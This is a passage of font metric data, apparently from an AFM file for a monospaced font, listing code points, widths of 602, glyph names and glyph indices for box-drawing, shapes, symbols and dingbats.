U 9560 ; WX 602 ; N SF500000 ; G 2479
U 9561 ; WX 602 ; N SF490000 ; G 2480
U 9562 ; WX 602 ; N SF380000 ; G 2481
U 9563 ; WX 602 ; N SF280000 ; G 2482
U 9564 ; WX 602 ; N SF270000 ; G 2483
U 9565 ; WX 602 ; N SF260000 ; G 2484
U 9566 ; WX 602 ; N SF360000 ; G 2485
U 9567 ; WX 602 ; N SF370000 ; G 2486
U 9568 ; WX 602 ; N SF420000 ; G 2487
U 9569 ; WX 602 ; N SF190000 ; G 2488
U 9570 ; WX 602 ; N SF200000 ; G 2489
U 9571 ; WX 602 ; N SF230000 ; G 2490
U 9572 ; WX 602 ; N SF470000 ; G 2491
U 9573 ; WX 602 ; N SF480000 ; G 2492
U 9574 ; WX 602 ; N SF410000 ; G 2493
U 9575 ; WX 602 ; N SF450000 ; G 2494
U 9576 ; WX 602 ; N SF460000 ; G 2495
U 9577 ; WX 602 ; N SF400000 ; G 2496
U 9578 ; WX 602 ; N SF540000 ; G 2497
U 9579 ; WX 602 ; N SF530000 ; G 2498
U 9580 ; WX 602 ; N SF440000 ; G 2499
U 9581 ; WX 602 ; N uni256D ; G 2500
U 9582 ; WX 602 ; N uni256E ; G 2501
U 9583 ; WX 602 ; N uni256F ; G 2502
U 9584 ; WX 602 ; N uni2570 ; G 2503
U 9585 ; WX 602 ; N uni2571 ; G 2504
U 9586 ; WX 602 ; N uni2572 ; G 2505
U 9587 ; WX 602 ; N uni2573 ; G 2506
U 9588 ; WX 602 ; N uni2574 ; G 2507
U 9589 ; WX 602 ; N uni2575 ; G 2508
U 9590 ; WX 602 ; N uni2576 ; G 2509
U 9591 ; WX 602 ; N uni2577 ; G 2510
U 9592 ; WX 602 ; N uni2578 ; G 2511
U 9593 ; WX 602 ; N uni2579 ; G 2512
U 9594 ; WX 602 ; N uni257A ; G 2513
U 9595 ; WX 602 ; N uni257B ; G 2514
U 9596 ; WX 602 ; N uni257C ; G 2515
U 9597 ; WX 602 ; N uni257D ; G 2516
U 9598 ; WX 602 ; N uni257E ; G 2517
U 9599 ; WX 602 ; N uni257F ; G 2518
U 9600 ; WX 602 ; N upblock ; G 2519
U 9601 ; WX 602 ; N uni2581 ; G 2520
U 9602 ; WX 602 ; N uni2582 ; G 2521
U 9603 ; WX 602 ; N uni2583 ; G 2522
U 9604 ; WX 602 ; N dnblock ; G 2523
U 9605 ; WX 602 ; N uni2585 ; G 2524
U 9606 ; WX 602 ; N uni2586 ; G 2525
U 9607 ; WX 602 ; N uni2587 ; G 2526
U 9608 ; WX 602 ; N block ; G 2527
U 9609 ; WX 602 ; N uni2589 ; G 2528
U 9610 ; WX 602 ; N uni258A ; G 2529
U 9611 ; WX 602 ; N uni258B ; G 2530
U 9612 ; WX 602 ; N lfblock ; G 2531
U 9613 ; WX 602 ; N uni258D ; G 2532
U 9614 ; WX 602 ; N uni258E ; G 2533
U 9615 ; WX 602 ; N uni258F ; G 2534
U 9616 ; WX 602 ; N rtblock ; G 2535
U 9617 ; WX 602 ; N ltshade ; G 2536
U 9618 ; WX 602 ; N shade ; G 2537
U 9619 ; WX 602 ; N dkshade ; G 2538
U 9620 ; WX 602 ; N uni2594 ; G 2539
U 9621 ; WX 602 ; N uni2595 ; G 2540
U 9622 ; WX 602 ; N uni2596 ; G 2541
U 9623 ; WX 602 ; N uni2597 ; G 2542
U 9624 ; WX 602 ; N uni2598 ; G 2543
U 9625 ; WX 602 ; N uni2599 ; G 2544
U 9626 ; WX 602 ; N uni259A ; G 2545
U 9627 ; WX 602 ; N uni259B ; G 2546
U 9628 ; WX 602 ; N uni259C ; G 2547
U 9629 ; WX 602 ; N uni259D ; G 2548
U 9630 ; WX 602 ; N uni259E ; G 2549
U 9631 ; WX 602 ; N uni259F ; G 2550
U 9632 ; WX 602 ; N filledbox ; G 2551
U 9633 ; WX 602 ; N H22073 ; G 2552
U 9634 ; WX 602 ; N uni25A2 ; G 2553
U 9635 ; WX 602 ; N uni25A3 ; G 2554
U 9636 ; WX 602 ; N uni25A4 ; G 2555
U 9637 ; WX 602 ; N uni25A5 ; G 2556
U 9638 ; WX 602 ; N uni25A6 ; G 2557
U 9639 ; WX 602 ; N uni25A7 ; G 2558
U 9640 ; WX 602 ; N uni25A8 ; G 2559
U 9641 ; WX 602 ; N uni25A9 ; G 2560
U 9642 ; WX 602 ; N H18543 ; G 2561
U 9643 ; WX 602 ; N H18551 ; G 2562
U 9644 ; WX 602 ; N filledrect ; G 2563
U 9645 ; WX 602 ; N uni25AD ; G 2564
U 9646 ; WX 602 ; N uni25AE ; G 2565
U 9647 ; WX 602 ; N uni25AF ; G 2566
U 9648 ; WX 602 ; N uni25B0 ; G 2567
U 9649 ; WX 602 ; N uni25B1 ; G 2568
U 9650 ; WX 602 ; N triagup ; G 2569
U 9651 ; WX 602 ; N uni25B3 ; G 2570
U 9652 ; WX 602 ; N uni25B4 ; G 2571
U 9653 ; WX 602 ; N uni25B5 ; G 2572
U 9654 ; WX 602 ; N uni25B6 ; G 2573
U 9655 ; WX 602 ; N uni25B7 ; G 2574
U 9656 ; WX 602 ; N uni25B8 ; G 2575
U 9657 ; WX 602 ; N uni25B9 ; G 2576
U 9658 ; WX 602 ; N triagrt ; G 2577
U 9659 ; WX 602 ; N uni25BB ; G 2578
U 9660 ; WX 602 ; N triagdn ; G 2579
U 9661 ; WX 602 ; N uni25BD ; G 2580
U 9662 ; WX 602 ; N uni25BE ; G 2581
U 9663 ; WX 602 ; N uni25BF ; G 2582
U 9664 ; WX 602 ; N uni25C0 ; G 2583
U 9665 ; WX 602 ; N uni25C1 ; G 2584
U 9666 ; WX 602 ; N uni25C2 ; G 2585
U 9667 ; WX 602 ; N uni25C3 ; G 2586
U 9668 ; WX 602 ; N triaglf ; G 2587
U 9669 ; WX 602 ; N uni25C5 ; G 2588
U 9670 ; WX 602 ; N uni25C6 ; G 2589
U 9671 ; WX 602 ; N uni25C7 ; G 2590
U 9672 ; WX 602 ; N uni25C8 ; G 2591
U 9673 ; WX 602 ; N uni25C9 ; G 2592
U 9674 ; WX 602 ; N lozenge ; G 2593
U 9675 ; WX 602 ; N circle ; G 2594
U 9676 ; WX 602 ; N uni25CC ; G 2595
U 9677 ; WX 602 ; N uni25CD ; G 2596
U 9678 ; WX 602 ; N uni25CE ; G 2597
U 9679 ; WX 602 ; N H18533 ; G 2598
U 9680 ; WX 602 ; N uni25D0 ; G 2599
U 9681 ; WX 602 ; N uni25D1 ; G 2600
U 9682 ; WX 602 ; N uni25D2 ; G 2601
U 9683 ; WX 602 ; N uni25D3 ; G 2602
U 9684 ; WX 602 ; N uni25D4 ; G 2603
U 9685 ; WX 602 ; N uni25D5 ; G 2604
U 9686 ; WX 602 ; N uni25D6 ; G 2605
U 9687 ; WX 602 ; N uni25D7 ; G 2606
U 9688 ; WX 602 ; N invbullet ; G 2607
U 9689 ; WX 602 ; N invcircle ; G 2608
U 9690 ; WX 602 ; N uni25DA ; G 2609
U 9691 ; WX 602 ; N uni25DB ; G 2610
U 9692 ; WX 602 ; N uni25DC ; G 2611
U 9693 ; WX 602 ; N uni25DD ; G 2612
U 9694 ; WX 602 ; N uni25DE ; G 2613
U 9695 ; WX 602 ; N uni25DF ; G 2614
U 9696 ; WX 602 ; N uni25E0 ; G 2615
U 9697 ; WX 602 ; N uni25E1 ; G 2616
U 9698 ; WX 602 ; N uni25E2 ; G 2617
U 9699 ; WX 602 ; N uni25E3 ; G 2618
U 9700 ; WX 602 ; N uni25E4 ; G 2619
U 9701 ; WX 602 ; N uni25E5 ; G 2620
U 9702 ; WX 602 ; N openbullet ; G 2621
U 9703 ; WX 602 ; N uni25E7 ; G 2622
U 9704 ; WX 602 ; N uni25E8 ; G 2623
U 9705 ; WX 602 ; N uni25E9 ; G 2624
U 9706 ; WX 602 ; N uni25EA ; G 2625
U 9707 ; WX 602 ; N uni25EB ; G 2626
U 9708 ; WX 602 ; N uni25EC ; G 2627
U 9709 ; WX 602 ; N uni25ED ; G 2628
U 9710 ; WX 602 ; N uni25EE ; G 2629
U 9711 ; WX 602 ; N uni25EF ; G 2630
U 9712 ; WX 602 ; N uni25F0 ; G 2631
U 9713 ; WX 602 ; N uni25F1 ; G 2632
U 9714 ; WX 602 ; N uni25F2 ; G 2633
U 9715 ; WX 602 ; N uni25F3 ; G 2634
U 9716 ; WX 602 ; N uni25F4 ; G 2635
U 9717 ; WX 602 ; N uni25F5 ; G 2636
U 9718 ; WX 602 ; N uni25F6 ; G 2637
U 9719 ; WX 602 ; N uni25F7 ; G 2638
U 9720 ; WX 602 ; N uni25F8 ; G 2639
U 9721 ; WX 602 ; N uni25F9 ; G 2640
U 9722 ; WX 602 ; N uni25FA ; G 2641
U 9723 ; WX 602 ; N uni25FB ; G 2642
U 9724 ; WX 602 ; N uni25FC ; G 2643
U 9725 ; WX 602 ; N uni25FD ; G 2644
U 9726 ; WX 602 ; N uni25FE ; G 2645
U 9727 ; WX 602 ; N uni25FF ; G 2646
U 9728 ; WX 602 ; N uni2600 ; G 2647
U 9729 ; WX 602 ; N uni2601 ; G 2648
U 9730 ; WX 602 ; N uni2602 ; G 2649
U 9731 ; WX 602 ; N uni2603 ; G 2650
U 9732 ; WX 602 ; N uni2604 ; G 2651
U 9733 ; WX 602 ; N uni2605 ; G 2652
U 9734 ; WX 602 ; N uni2606 ; G 2653
U 9735 ; WX 602 ; N uni2607 ; G 2654
U 9736 ; WX 602 ; N uni2608 ; G 2655
U 9737 ; WX 602 ; N uni2609 ; G 2656
U 9738 ; WX 602 ; N uni260A ; G 2657
U 9739 ; WX 602 ; N uni260B ; G 2658
U 9740 ; WX 602 ; N uni260C ; G 2659
U 9741 ; WX 602 ; N uni260D ; G 2660
U 9742 ; WX 602 ; N uni260E ; G 2661
U 9743 ; WX 602 ; N uni260F ; G 2662
U 9744 ; WX 602 ; N uni2610 ; G 2663
U 9745 ; WX 602 ; N uni2611 ; G 2664
U 9746 ; WX 602 ; N uni2612 ; G 2665
U 9747 ; WX 602 ; N uni2613 ; G 2666
U 9748 ; WX 602 ; N uni2614 ; G 2667
U 9749 ; WX 602 ; N uni2615 ; G 2668
U 9750 ; WX 602 ; N uni2616 ; G 2669
U 9751 ; WX 602 ; N uni2617 ; G 2670
U 9752 ; WX 602 ; N uni2618 ; G 2671
U 9753 ; WX 602 ; N uni2619 ; G 2672
U 9754 ; WX 602 ; N uni261A ; G 2673
U 9755 ; WX 602 ; N uni261B ; G 2674
U 9756 ; WX 602 ; N uni261C ; G 2675
U 9757 ; WX 602 ; N uni261D ; G 2676
U 9758 ; WX 602 ; N uni261E ; G 2677
U 9759 ; WX 602 ; N uni261F ; G 2678
U 9760 ; WX 602 ; N uni2620 ; G 2679
U 9761 ; WX 602 ; N uni2621 ; G 2680
U 9762 ; WX 602 ; N uni2622 ; G 2681
U 9763 ; WX 602 ; N uni2623 ; G 2682
U 9764 ; WX 602 ; N uni2624 ; G 2683
U 9765 ; WX 602 ; N uni2625 ; G 2684
U 9766 ; WX 602 ; N uni2626 ; G 2685
U 9767 ; WX 602 ; N uni2627 ; G 2686
U 9768 ; WX 602 ; N uni2628 ; G 2687
U 9769 ; WX 602 ; N uni2629 ; G 2688
U 9770 ; WX 602 ; N uni262A ; G 2689
U 9771 ; WX 602 ; N uni262B ; G 2690
U 9772 ; WX 602 ; N uni262C ; G 2691
U 9773 ; WX 602 ; N uni262D ; G 2692
U 9774 ; WX 602 ; N uni262E ; G 2693
U 9775 ; WX 602 ; N uni262F ; G 2694
U 9784 ; WX 602 ; N uni2638 ; G 2695
U 9785 ; WX 602 ; N uni2639 ; G 2696
U 9786 ; WX 602 ; N smileface ; G 2697
U 9787 ; WX 602 ; N invsmileface ; G 2698
U 9788 ; WX 602 ; N sun ; G 2699
U 9789 ; WX 602 ; N uni263D ; G 2700
U 9790 ; WX 602 ; N uni263E ; G 2701
U 9791 ; WX 602 ; N uni263F ; G 2702
U 9792 ; WX 602 ; N female ; G 2703
U 9793 ; WX 602 ; N uni2641 ; G 2704
U 9794 ; WX 602 ; N male ; G 2705
U 9795 ; WX 602 ; N uni2643 ; G 2706
U 9796 ; WX 602 ; N uni2644 ; G 2707
U 9797 ; WX 602 ; N uni2645 ; G 2708
U 9798 ; WX 602 ; N uni2646 ; G 2709
U 9799 ; WX 602 ; N uni2647 ; G 2710
U 9800 ; WX 602 ; N uni2648 ; G 2711
U 9801 ; WX 602 ; N uni2649 ; G 2712
U 9802 ; WX 602 ; N uni264A ; G 2713
U 9803 ; WX 602 ; N uni264B ; G 2714
U 9804 ; WX 602 ; N uni264C ; G 2715
U 9805 ; WX 602 ; N uni264D ; G 2716
U 9806 ; WX 602 ; N uni264E ; G 2717
U 9807 ; WX 602 ; N uni264F ; G 2718
U 9808 ; WX 602 ; N uni2650 ; G 2719
U 9809 ; WX 602 ; N uni2651 ; G 2720
U 9810 ; WX 602 ; N uni2652 ; G 2721
U 9811 ; WX 602 ; N uni2653 ; G 2722
U 9812 ; WX 602 ; N uni2654 ; G 2723
U 9813 ; WX 602 ; N uni2655 ; G 2724
U 9814 ; WX 602 ; N uni2656 ; G 2725
U 9815 ; WX 602 ; N uni2657 ; G 2726
U 9816 ; WX 602 ; N uni2658 ; G 2727
U 9817 ; WX 602 ; N uni2659 ; G 2728
U 9818 ; WX 602 ; N uni265A ; G 2729
U 9819 ; WX 602 ; N uni265B ; G 2730
U 9820 ; WX 602 ; N uni265C ; G 2731
U 9821 ; WX 602 ; N uni265D ; G 2732
U 9822 ; WX 602 ; N uni265E ; G 2733
U 9823 ; WX 602 ; N uni265F ; G 2734
U 9824 ; WX 602 ; N spade ; G 2735
U 9825 ; WX 602 ; N uni2661 ; G 2736
U 9826 ; WX 602 ; N uni2662 ; G 2737
U 9827 ; WX 602 ; N club ; G 2738
U 9828 ; WX 602 ; N uni2664 ; G 2739
U 9829 ; WX 602 ; N heart ; G 2740
U 9830 ; WX 602 ; N diamond ; G 2741
U 9831 ; WX 602 ; N uni2667 ; G 2742
U 9832 ; WX 602 ; N uni2668 ; G 2743
U 9833 ; WX 602 ; N uni2669 ; G 2744
U 9834 ; WX 602 ; N musicalnote ; G 2745
U 9835 ; WX 602 ; N musicalnotedbl ; G 2746
U 9836 ; WX 602 ; N uni266C ; G 2747
U 9837 ; WX 602 ; N uni266D ; G 2748
U 9838 ; WX 602 ; N uni266E ; G 2749
U 9839 ; WX 602 ; N uni266F ; G 2750
U 9840 ; WX 602 ; N uni2670 ; G 2751
U 9841 ; WX 602 ; N uni2671 ; G 2752
U 9842 ; WX 602 ; N uni2672 ; G 2753
U 9843 ; WX 602 ; N uni2673 ; G 2754
U 9844 ; WX 602 ; N uni2674 ; G 2755
U 9845 ; WX 602 ; N uni2675 ; G 2756
U 9846 ; WX 602 ; N uni2676 ; G 2757
U 9847 ; WX 602 ; N uni2677 ; G 2758
U 9848 ; WX 602 ; N uni2678 ; G 2759
U 9849 ; WX 602 ; N uni2679 ; G 2760
U 9850 ; WX 602 ; N uni267A ; G 2761
U 9851 ; WX 602 ; N uni267B ; G 2762
U 9852 ; WX 602 ; N uni267C ; G 2763
U 9853 ; WX 602 ; N uni267D ; G 2764
U 9854 ; WX 602 ; N uni267E ; G 2765
U 9855 ; WX 602 ; N uni267F ; G 2766
U 9856 ; WX 602 ; N uni2680 ; G 2767
U 9857 ; WX 602 ; N uni2681 ; G 2768
U 9858 ; WX 602 ; N uni2682 ; G 2769
U 9859 ; WX 602 ; N uni2683 ; G 2770
U 9860 ; WX 602 ; N uni2684 ; G 2771
U 9861 ; WX 602 ; N uni2685 ; G 2772
U 9862 ; WX 602 ; N uni2686 ; G 2773
U 9863 ; WX 602 ; N uni2687 ; G 2774
U 9864 ; WX 602 ; N uni2688 ; G 2775
U 9865 ; WX 602 ; N uni2689 ; G 2776
U 9866 ; WX 602 ; N uni268A ; G 2777
U 9867 ; WX 602 ; N uni268B ; G 2778
U 9872 ; WX 602 ; N uni2690 ; G 2779
U 9873 ; WX 602 ; N uni2691 ; G 2780
U 9874 ; WX 602 ; N uni2692 ; G 2781
U 9875 ; WX 602 ; N uni2693 ; G 2782
U 9876 ; WX 602 ; N uni2694 ; G 2783
U 9877 ; WX 602 ; N uni2695 ; G 2784
U 9878 ; WX 602 ; N uni2696 ; G 2785
U 9879 ; WX 602 ; N uni2697 ; G 2786
U 9880 ; WX 602 ; N uni2698 ; G 2787
U 9881 ; WX 602 ; N uni2699 ; G 2788
U 9882 ; WX 602 ; N uni269A ; G 2789
U 9883 ; WX 602 ; N uni269B ; G 2790
U 9884 ; WX 602 ; N uni269C ; G 2791
U 9888 ; WX 602 ; N uni26A0 ; G 2792
U 9889 ; WX 602 ; N uni26A1 ; G 2793
U 9904 ; WX 602 ; N uni26B0 ; G 2794
U 9905 ; WX 602 ; N uni26B1 ; G 2795
U 9985 ; WX 602 ; N uni2701 ; G 2796
U 9986 ; WX 602 ; N uni2702 ; G 2797
U 9987 ; WX 602 ; N uni2703 ; G 2798
U 9988 ; WX 602 ; N uni2704 ; G 2799
U 9990 ; WX 602 ; N uni2706 ; G 2800
U 9991 ; WX 602 ; N uni2707 ; G 2801
U 9992 ; WX 602 ; N uni2708 ; G 2802
U 9993 ; WX 602 ; N uni2709 ; G 2803
U 9996 ; WX 602 ; N uni270C ; G 2804
U 9997 ; WX 602 ; N uni270D ; G 2805
U 9998 ; WX 602 ; N uni270E ; G 2806
U 9999 ; WX 602 ; N uni270F ; G 2807
U 10000 ; WX 602 ; N uni2710 ; G 2808
U 10001 ; WX 602 ; N uni2711 ; G 2809
U 10002 ; WX 602 ; N uni2712 ; G 2810
U 10003 ; WX 602 ; N uni2713 ; G 2811
U 10004 ; WX 602 ; N uni2714 ; G 2812
U 10005 ; WX 602 ; N uni2715 ; G 2813
U 10006 ; WX 602 ; N uni2716 ; G 2814
U 10007 ; WX 602 ; N uni2717 ; G 2815
U 10008 ; WX 602 ; N uni2718 ; G 2816
U 10009 ; WX 602 ; N uni2719 ; G 2817
U 10010 ; WX 602 ; N uni271A ; G 2818
U 10011 ; WX 602 ; N uni271B ; G 2819
U 10012 ; WX 602 ; N uni271C ; G 2820
U 10013 ; WX 602 ; N uni271D ; G 2821
U 10014 ; WX 602 ; N uni271E ; G 2822
U 10015 ; WX 602 ; N uni271F ; G 2823
U 10016 ; WX 602 ; N uni2720 ; G 2824
U 10017 ; WX 602 ; N uni2721 ; G 2825
U 10018 ; WX 602 ; N uni2722 ; G 2826
U 10019 ; WX 602 ; N uni2723 ; G 2827
U 10020 ; WX 602 ; N uni2724 ; G 2828
U 10021 ; WX 602 ; N uni2725 ; G 2829
U 10022 ; WX 602 ; N uni2726 ; G 2830
U 10023 ; WX 602 ; N uni2727 ; G 2831
U 10025 ; WX 602 ; N uni2729 ; G 2832
U 10026 ; WX 602 ; N uni272A ; G 2833
U 10027 ; WX 602 ; N uni272B ; G 2834
U 10028 ; WX 602 ; N uni272C ; G 2835
U 10029 ; WX 602 ; N uni272D ; G 2836
U 10030 ; WX 602 ; N uni272E ; G 2837
U 10031 ; WX 602 ; N uni272F ; G 2838
U 10032 ; WX 602 ; N uni2730 ; G 2839
U 10033 ; WX 602 ; N uni2731 ; G 2840
U 10034 ; WX 602 ; N uni2732 ; G 2841
U 10035 ; WX 602 ; N uni2733 ; G 2842
U 10036 ; WX 602 ; N uni2734 ; G 2843
U 10037 ; WX 602 ; N uni2735 ; G 2844
U 10038 ; WX 602 ; N uni2736 ; G 2845
U 10039 ; WX 602 ; N uni2737 ; G 2846
U 10040 ; WX 602 ; N uni2738 ; G 2847
U 10041 ; WX 602 ; N uni2739 ; G 2848
U 10042 ; WX 602 ; N uni273A ; G 2849
U 10043 ; WX 602 ; N uni273B ; G 2850
U 10044 ; WX 602 ; N uni273C ; G 2851
U 10045 ; WX 602 ; N uni273D ; G 2852
U 10046 ; WX 602 ; N uni273E ; G 2853
U 10047 ; WX 602 ; N uni273F ; G 2854
U 10048 ; WX 602 ; N uni2740 ; G 2855
U 10049 ; WX 602 ; N uni2741 ; G 2856
U 10050 ; WX 602 ; N uni2742 ; G 2857
U 10051 ; WX 602 ; N uni2743 ; G 2858
U 10052 ; WX 602 ; N uni2744 ; G 2859
U 10053 ; WX 602 ; N uni2745 ; G 2860
U 10054 ; WX 602 ; N uni2746 ; G 2861
U 10055 ; WX 602 ; N uni2747 ; G 2862
U 10056 ; WX 602 ; N uni2748 ; G 2863
U 10057 ; WX 602 ; N uni2749 ; G 2864
U 10058 ; WX 602 ; N uni274A ; G 2865
U 10059 ; WX 602 ; N uni274B ; G 2866
U 10061 ; WX 602 ; N uni274D ; G 2867
U 10063 ; WX 602 ; N uni274F ; G 2868
U 10064 ; WX 602 ; N uni2750 ; G 2869
U 10065 ; WX 602 ; N uni2751 ; G 2870
U 10066 ; WX 602 ; N uni2752 ; G 2871
U 10070 ; WX 602 ; N uni2756 ; G 2872
U 10072 ; WX 602 ; N uni2758 ; G 2873
U 10073 ; WX 602 ; N uni2759 ; G 2874
U 10074 ; WX 602 ; N uni275A ; G 2875
U 10075 ; WX 602 ; N uni275B ; G 2876
U 10076 ; WX 602 ; N uni275C ; G 2877
U 10077 ; WX 602 ; N uni275D ; G 2878
U 10078 ; WX 602 ; N uni275E ; G 2879
U 10081 ; WX 602 ; N uni2761 ; G 2880
U 10082 ; WX 602 ; N uni2762 ; G 2881
U 10083 ; WX 602 ; N uni2763 ; G 2882
U 10084 ; WX 602 ; N uni2764 ; G 2883
U 10085 ; WX 602 ; N uni2765 ; G 2884
U 10086 ; WX 602 ; N uni2766 ; G 2885
U 10087 ; WX 602 ; N uni2767 ; G 2886
U 10088 ; WX 602 ; N uni2768 ; G 2887
U 10089 ; WX 602 ; N uni2769 ; G 2888
U 10090 ; WX 602 ; N uni276A ; G 2889
U 10091 ; WX 602 ; N uni276B ; G 2890
U 10092 ; WX 602 ; N uni276C ; G 2891
U 10093 ; WX 602 ; N uni276D ; G 2892
U 10094 ; WX 602 ; N uni276E ; G 2893
U 10095 ; WX 602 ; N uni276F ; G 2894
U 10096 ; WX 602 ; N uni2770 ; G 2895
U 10097 ; WX 602 ; N uni2771 ; G 2896
U 10098 ; WX 602 ; N uni2772 ; G 2897
U 10099 ; WX 602 ; N uni2773 ; G 2898
U 10100 ; WX 602 ; N uni2774 ; G 2899
U 10101 ; WX 602 ; N uni2775 ; G 2900
U 10132 ; WX 602 ; N uni2794 ; G 2901
U 10136 ; WX 602 ; N uni2798 ; G 2902
U 10137 ; WX 602 ; N uni2799 ; G 2903
U 10138 ; WX 602 ; N uni279A ; G 2904
U 10139 ; WX 602 ; N uni279B ; G 2905
U 10140 ; WX 602 ; N uni279C ; G 2906
U 10141 ; WX 602 ; N uni279D ; G 2907
U 10142 ; WX 602 ; N uni279E ; G 2908
U 10143 ; WX 602 ; N uni279F ; G 2909
U 10144 ; WX 602 ; N uni27A0 ; G 2910
U 10145 ; WX 602 ; N uni27A1 ; G 2911
U 10146 ; WX 602 ; N uni27A2 ; G 2912
U 10147 ; WX 602 ; N uni27A3 ; G 2913
U 10148 ; WX 602 ; N uni27A4 ; G 2914
U 10149 ; WX 602 ; N uni27A5 ; G 2915
U 10150 ; WX 602 ; N uni27A6 ; G 2916
U 10151 ; WX 602 ; N uni27A7 ; G 2917
U 10152 ; WX 602 ; N uni27A8 ; G 2918
U 10153 ; WX 602 ; N uni27A9 ; G 2919
U 10154 ; WX 602 ; N uni27AA ; G 2920
U 10155 ; WX 602 ; N uni27AB ; G 2921
U 10156 ; WX 602 ; N uni27AC ; G 2922
U 10157 ; WX 602 ; N uni27AD ; G 2923
U 10158 ; WX 602 ; N uni27AE ; G 2924
U 10159 ; WX 602 ; N uni27AF ; G 2925
U 10161 ; WX 602 ; N uni27B1 ; G 2926
U 10162 ; WX 602 ; N uni27B2 ; G 2927
U 10163 ; WX 602 ; N uni27B3 ; G 2928
U 10164 ; WX 602 ; N uni27B4 ; G 2929
U 10165 ; WX 602 ; N uni27B5 ; G 2930
U 10166 ; WX 602 ; N uni27B6 ; G 2931
U 10167 ; WX 602 ; N uni27B7 ; G 2932
U 10168 ; WX 602 ; N uni27B8 ; G 2933
U 10169 ; WX 602 ; N uni27B9 ; G 2934
U 10170 ; WX 602 ; N uni27BA ; G 2935
U 10171 ; WX 602 ; N uni27BB ; G 2936
U 10172 ; WX 602 ; N uni27BC ; G 2937
U 10173 ; WX 602 ; N uni27BD ; G 2938
U 10174 ; WX 602 ; N uni27BE ; G 2939
U 10175 ; WX 602 ; N uni27BF ; G 2940
U 10178 ; WX 602 ; N uni27C2 ; G 2941
U 10181 ; WX 602 ; N uni27C5 ; G 2942
U 10182 ; WX 602 ; N uni27C6 ; G 2943
U 10204 ; WX 602 ; N uni27DC ; G 2944
U 10208 ; WX 602 ; N uni27E0 ; G 2945
U 10214 ; WX 602 ; N uni27E6 ; G 2946
U 10215 ; WX 602 ; N uni27E7 ; G 2947
U 10216 ; WX 602 ; N uni27E8 ; G 2948
U 10217 ; WX 602 ; N uni27E9 ; G 2949
U 10218 ; WX 602 ; N uni27EA ; G 2950
U 10219 ; WX 602 ; N uni27EB ; G 2951
U 10229 ; WX 602 ; N uni27F5 ; G 2952
U 10230 ; WX 602 ; N uni27F6 ; G 2953
U 10231 ; WX 602 ; N uni27F7 ; G 2954
U 10631 ; WX 602 ; N uni2987 ; G 2955
U 10632 ; WX 602 ; N uni2988 ; G 2956
U 10647 ; WX 602 ; N uni2997 ; G 2957
U 10648 ; WX 602 ; N uni2998 ; G 2958
U 10731 ; WX 602 ; N uni29EB ; G 2959
U 10746 ; WX 602 ; N uni29FA ; G 2960
U 10747 ; WX 602 ; N uni29FB ; G 2961
U 10752 ; WX 602 ; N uni2A00 ; G 2962
U 10799 ; WX 602 ; N uni2A2F ; G 2963
U 10858 ; WX 602 ; N uni2A6A ; G 2964
U 10859 ; WX 602 ; N uni2A6B ; G 2965
U 11013 ; WX 602 ; N uni2B05 ; G 2966
U 11014 ; WX 602 ; N uni2B06 ; G 2967
U 11015 ; WX 602 ; N uni2B07 ; G 2968
U 11016 ; WX 602 ; N uni2B08 ; G 2969
U 11017 ; WX 602 ; N uni2B09 ; G 2970
U 11018 ; WX 602 ; N uni2B0A ; G 2971
U 11019 ; WX 602 ; N uni2B0B ; G 2972
U 11020 ; WX 602 ; N uni2B0C ; G 2973
U 11021 ; WX 602 ; N uni2B0D ; G 2974
U 11026 ; WX 602 ; N uni2B12 ; G 2975
U 11027 ; WX 602 ; N uni2B13 ; G 2976
U 11028 ; WX 602 ; N uni2B14 ; G 2977
U 11029 ; WX 602 ; N uni2B15 ; G 2978
U 11030 ; WX 602 ; N uni2B16 ; G 2979
U 11031 ; WX 602 ; N uni2B17 ; G 2980
U 11032 ; WX 602 ; N uni2B18 ; G 2981
U 11033 ; WX 602 ; N uni2B19 ; G 2982
U 11034 ; WX 602 ; N uni2B1A ; G 2983
U 11364 ; WX 602 ; N uni2C64 ; G 2984
U 11373 ; WX 602 ; N uni2C6D ; G 2985
U 11374 ; WX 602 ; N uni2C6E ; G 2986
U 11375 ; WX 602 ; N uni2C6F ; G 2987
U 11376 ; WX 602 ; N uni2C70 ; G 2988
U 11381 ; WX 602 ; N uni2C75 ; G 2989
U 11382 ; WX 602 ; N uni2C76 ; G 2990
U 11383 ; WX 602 ; N uni2C77 ; G 2991
U 11385 ; WX 602 ; N uni2C79 ; G 2992
U 11386 ; WX 602 ; N uni2C7A ; G 2993
U 11388 ; WX 602 ; N uni2C7C ; G 2994
U 11389 ; WX 602 ; N uni2C7D ; G 2995
U 11390 ; WX 602 ; N uni2C7E ; G 2996
U 11391 ; WX 602 ; N uni2C7F ; G 2997
U 11800 ; WX 602 ; N uni2E18 ; G 2998
U 11807 ; WX 602 ; N uni2E1F ; G 2999
U 11810 ; WX 602 ; N uni2E22 ; G 3000
U 11811 ; WX 602 ; N uni2E23 ; G 3001
U 11812 ; WX 602 ; N uni2E24 ; G 3002
U 11813 ; WX 602 ; N uni2E25 ; G 3003
U 11822 ; WX 602 ; N uni2E2E ; G 3004
U 42760 ; WX 602 ; N uniA708 ; G 3005
U 42761 ; WX 602 ; N uniA709 ; G 3006
U 42762 ; WX 602 ; N uniA70A ; G 3007
U 42763 ; WX 602 ; N uniA70B ; G 3008
U 42764 ; WX 602 ; N uniA70C ; G 3009
U 42765 ; WX 602 ; N uniA70D ; G 3010
U 42766 ; WX 602 ; N uniA70E ; G 3011
U 42767 ; WX 602 ; N uniA70F ; G 3012
U 42768 ; WX 602 ; N uniA710 ; G 3013
U 42769 ; WX 602 ; N uniA711 ; G 3014
U 42770 ; WX 602 ; N uniA712 ; G 3015
U 42771 ; WX 602 ; N uniA713 ; G 3016
U 42772 ; WX 602 ; N uniA714 ; G 3017
U 42773 ; WX 602 ; N uniA715 ; G 3018
U 42774 ; WX 602 ; N uniA716 ; G 3019
U 42779 ; WX 602 ; N uniA71B ; G 3020
U 42780 ; WX 602 ; N uniA71C ; G 3021
U 42781 ; WX 602 ; N uniA71D ; G 3022
U 42782 ; WX 602 ; N uniA71E ; G 3023
U 42783 ; WX 602 ; N uniA71F ; G 3024
U 42786 ; WX 602 ; N uniA722 ; G 3025
U 42787 ; WX 602 ; N uniA723 ; G 3026
U 42788 ; WX 602 ; N uniA724 ; G 3027
U 42789 ; WX 602 ; N uniA725 ; G 3028
U 42790 ; WX 602 ; N uniA726 ; G 3029
U 42791 ; WX 602 ; N uniA727 ; G 3030
U 42889 ; WX 602 ; N uniA789 ; G 3031
U 42890 ; WX 602 ; N uniA78A ; G 3032
U 42891 ; WX 602 ; N uniA78B ; G 3033
U 42892 ; WX 602 ; N uniA78C ; G 3034
